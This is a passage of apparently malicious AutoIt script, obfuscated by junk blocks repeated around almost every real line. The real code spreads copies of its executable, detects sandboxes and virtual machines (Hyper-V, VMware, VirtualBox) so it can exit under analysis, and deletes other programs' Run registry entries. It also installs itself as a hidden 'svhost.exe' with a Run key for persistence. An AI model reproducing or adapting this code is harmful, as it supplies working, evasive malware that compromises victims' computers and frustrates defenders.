- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- FileCopy(@AutoItExe, $gwh[$i] & "\" & @ScriptName)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Sleep(10)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Next
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndFunc
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Func sandbox()
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- If WinGetText("Program Manager") = "0" Then
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Exit
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Else
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndFunc
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Func vm()
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Local $strcomputer = ".", $smake, $smodel, $sbiosversion, $bisvm, $svmplatform
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Local $objwmiservice = ObjGet("winmgmts:\\" & $strcomputer & "\root\CIMV2")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Local $colitems = $objwmiservice.execquery("SELECT * FROM Win32_ComputerSystem")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- If IsObj($colitems) Then
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- For $objitem In $colitems
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $smake = $objitem.manufacturer
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $smodel = $objitem.model
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Next
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $colitems = $objwmiservice.execquery("SELECT * FROM Win32_BIOS", "WQL", 16 + 32)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- If IsObj($colitems) Then
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- For $objitem In $colitems
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $sbiosversion = $objitem.smbiosbiosversion
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Next
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $bisvm = False
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $svmplatform = ""
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- If $smodel = "Virtual Machine" Then
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $svmplatform = "Hyper-V"
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $bisvm = True
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Switch $sbiosversion
- Case "VRTUAL - 1000831"
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $bisvm = True
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $svmplatform = "Hyper-V 2008 Beta or RC0"
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Case "VRTUAL - 5000805", "BIOS Date: 05/05/08 20:35:56 Ver: 08.00.02"
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $bisvm = True
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $svmplatform = "Hyper-V 2008 RTM"
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Case "VRTUAL - 3000919"
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $bisvm = True
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $svmplatform = "Hyper-V 2008 R2"
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Case "A M I - 2000622"
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $bisvm = True
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $svmplatform = "VS2005R2SP1 or VPC2007"
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Case "A M I - 9000520"
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $bisvm = True
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $svmplatform = "VS2005R2"
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Case "A M I - 9000816", "A M I - 6000901"
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $bisvm = True
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $svmplatform = "Windows Virtual PC"
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Case "A M I - 8000314"
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $bisvm = True
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $svmplatform = "VS2005 or VPC2004"
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndSwitch
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- ElseIf $smodel = "VMware Virtual Platform" Then
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $svmplatform = "VMware"
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $bisvm = True
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- ElseIf $smodel = "VirtualBox" Then
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $bisvm = True
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $svmplatform = "VirtualBox"
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Else
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- If $bisvm Then
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Exit
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Else
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Return $bisvm
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndFunc
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Func avdisable()
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- If FileExists(@UserProfileDir & "\once.txt") Then
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Else
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Call("avdisable2")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- FileWrite(@UserProfileDir & "\once.txt", "once")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndFunc
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Func avdisable2()
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- If NOT FileExists(@UserProfileDir & "\" & "disable.txt") Then
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- FileWrite(@UserProfileDir & "\disable.txt", "disable")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- RegDelete("HKLM64\SOFTWARE\Microsoft\Windows\CurrentVersion\Run")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- RegDelete("HKLM64\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- RegDelete("HKCU64\SOFTWARE\Microsoft\Windows\CurrentVersion\Run")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- RegWrite("HKCU64\SOFTWARE\Microsoft\Windows\CurrentVersion\Run")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Else
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndFunc
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Func startup()
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- If NOT FileExists(@UserProfileDir & "\" & $randoms & "\") Then
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- dcreat(@UserProfileDir & "\" & $randoms & "\")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- FileCopy(@AutoItExe, @UserProfileDir & "\" & $randoms & "\svhost.exe", 1)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- FileSetAttrib(@UserProfileDir & "\" & $randoms & "\svhost.exe", "+SH")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- FileSetAttrib(@UserProfileDir & "\" & $randoms & "\", "+SH")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", $randoms, "REG_SZ", @UserProfileDir & "\" & $randoms & "\" & "svhost.exe")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Else
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
